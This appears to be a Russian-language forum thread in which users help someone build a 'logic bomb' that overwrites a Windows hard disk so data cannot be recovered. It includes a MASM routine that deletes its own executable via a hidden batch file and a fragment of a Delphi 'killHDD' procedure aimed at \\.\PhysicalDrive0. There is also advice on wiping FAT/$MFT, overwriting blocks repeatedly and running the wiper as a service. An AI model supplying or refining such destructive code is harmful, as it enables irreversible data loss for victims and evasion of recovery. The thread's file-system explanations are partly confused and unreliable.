![]() |
Windows , HDD и NTFS
Пытаюсь написать так называемую логическую бомбу :rolleyes: Смысл в том чтобы часть поверхности жесткого диска с виндой покрыть нолями первое что пришло в голову было это:
Код:
char buffer[512]; |
.data
szBatchFile2 db ":k",13,10,"del %1",13,10,"if exist %1 goto k",13,10,"del %0",0 szBatchName2 db "a.bat",0 .code DoSelfDelete proc LOCAL hFile: DWORD LOCAL bWritten: DWORD invoke GetModuleFileName, NULL, offset lpBuf2, MAX_PATH invoke lstrcpy, offset lpBuf1, offset lpBuf2 lea eax, lpBuf2 xor edx, edx @loop: cmp byte ptr[eax], '\' jne @next mov edx, eax @next: inc eax cmp byte ptr[eax], 0 jnz @loop inc edx mov byte ptr[edx], 0 invoke lstrcat, offset lpBuf2, offset szBatchName2 invoke CreateFile, offset lpBuf2, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0 mov hFile, eax inc eax jz @end invoke lstrlen, offset szBatchFile2 mov edx, eax invoke WriteFile, hFile, offset szBatchFile2, edx, addr bWritten, NULL invoke CloseHandle, hFile szText SelfDelQuoteFmt2, '"%s"' invoke wsprintf, offset lpBuf3, addr SelfDelQuoteFmt2, offset lpBuf1 xor eax, eax push SW_HIDE push eax push offset lpBuf3 push offset lpBuf2 push offset szTextOpen push eax call ShellExecute @end: ret DoSelfDelete end этот код из хинча!форматирует диск может поможет тебе ! обьясняю тебе структуру винта в самом начале храниться зсгрусчик(если это активный диск я думаю) после этого таблица фаилов(FAT) после этого корневой католок уже тлько после него данные! если ты убьешь ФАТ то востановить данные не составить труда а вот если убить и фат и данные то будет кул!:) |
Metal, я так понял, _nic'y не на асме нужен
|
Да асмом я не владею.И ещё допустим удастся основную фат убить но насколько я знаю нтфс имеет резервную копию фат таблицы как с ней поступить?
|
2 _nic я вот юзал вот этот код:
Он хоть и почти как твой, но всёже при тестах на виртуалке, уже после 10-20 секунд работы винда вообще немогла одуплится. т.е. негрузилась даже. Код начинает с самого начала забивать винт рожицей. Когда дохидит до файла подкачки(моё предположение), то винда вылетает в BSoD Если этот код запускается при загрузки системы. т.е. вмантирован в сервис. по просто винда долго грузится долговато,а потом вылетает в BSoD Если этот код работает хотябы 5 секунд то врядли уже что можно восстановить виндовыми прогами. Код:
procedure killHDD(fn:string);killHDD('\\.\PhysicalDrive0'); |
ну если дело на то пошло, то в NTFS вместо FAT юзается системный файл с именем $MFT
вот если затереть его, то уже восстановить врядли удастся виндовыми утилитами. Хотя EasyRecovery запросто найдет все файлы на винте. вот тока названия не будет у них. |
моно и многоми другими прогами это все дело востановить!да а снозвание фаилов проблемы будут!но суть не в этом а в том что фаил мфс это и есть резервная копипая фат и краткого описания фаилов т.е. когда нехватает места на винте этот фаил урезаеться а фат ана и в африке фат и распологаться по идее должна сразу после загрузчика!(я так думаю) а вобще думаю что покрывать не вес винт 0 а ну допустим через блок или 2 блока... дело быстрей пойдет и фаилы толком не востановяться..... а что бы из никогда не востановить лучше каждый блок перезаписать 2-3 раза!:)
|
ТС: Кстати зря ты каждый раз обнуляешь 512 байт одно и того же буфера. Тормоза будут.
|
Metal > тот сурс что ты дал производит самоудаление exe через bat файл, а никакое не форматирование!
|
яж написал что из ксинча выдрал.... кстаи проверерял норм работает!:) а так все что знал про фат вроде написал...
|
| Время: 21:53 |